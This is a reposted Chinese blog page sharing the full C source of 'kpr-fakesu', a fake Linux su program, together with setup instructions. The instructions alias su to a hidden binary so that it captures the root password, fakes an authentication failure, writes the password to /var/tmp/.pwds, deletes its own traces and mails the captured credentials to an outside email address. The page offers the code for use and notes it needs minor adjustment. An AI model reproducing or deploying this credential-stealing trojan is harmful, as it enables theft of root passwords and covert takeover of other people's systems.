• kprfakesu.c Linux su密码欺骗 源码


    /* 
     * kpr-fakesu.c V0.9beta167 ;P
     * by koper <koper@linuxmail.org>
     *
     * Setting up:
     * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
     * admin@host:~$ mv .su /var/tmp/.su
     * admin@host:~$ cp .bash_profile .wgetrc
     * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
     * admin@host:~$ logout
     * *** LOGIN ***
     * admin@host:~$ su
     * Password: 
     * su: Authentication failure
     * Sorry.
     * admin@host:~$ su
     * Password: 
     * root@host:~# logout
     * admin@host:~$ cat /var/tmp/.pwds
     * root:dupcia17
     * admin@host:~$ 
     * 
     * /bin/su sends various failure information depending on the OS ver.
     * Please modify the source to make it "fit" ;)
     * 
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    main(int argc, char *argv[]){
    
    FILE *fp;
    char *user;
    char *pass;
    char filex[100];
    char clean[100];
    
    sprintf(filex,"/var/tmp/.pwds");
    sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/hiroot/.wgetrc /home/hiroot/.bash_profile");
    if(argc==1) user="root";
    if(argc==2) user=argv[1];
    if(argc>2){
       if(strcmp(argv[1], "-l")==0)
         user=argv[2];
       else user=argv[1];}
    
    fprintf(stdout,"Password: "); pass=getpass ("");
    system("sleep 3");
    fprintf(stdout,"su: Authentication failure.\n");
    
    if ((fp=fopen(filex,"w")) != NULL)
      {
      fprintf(fp, "%s:%s\n", user, pass);
      fclose(fp);
      }
    
    system(clean);
    system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
    
    /* If you don't want password in your e-mail uncomment this line: */
    
    system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail hirootmail@qq.com");
    
    }
    

    代码要根据实际情况,稍微改下才能使用。

    sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/hiroot/.wgetrc /home/hiroot/.bash_profile");

  • 相关阅读:
    P1119 灾后重建
    P1824 进击的奶牛
    P3743 kotori的设备
    【MM配置】SAP MM模块配置目录(转)
    【SAP参数文件】SAP参数文件(转)
    【MM】供应商删除
    【Debug】修改数据库表数据的方法
    【MM 单位换算】物料基本单位换算
    EDI RFC IDOC
    【打印配置】SAP打印机配置
  • 原文地址:https://www.cnblogs.com/y0umer/p/3838890.html
Copyright © 2020-2023  润新知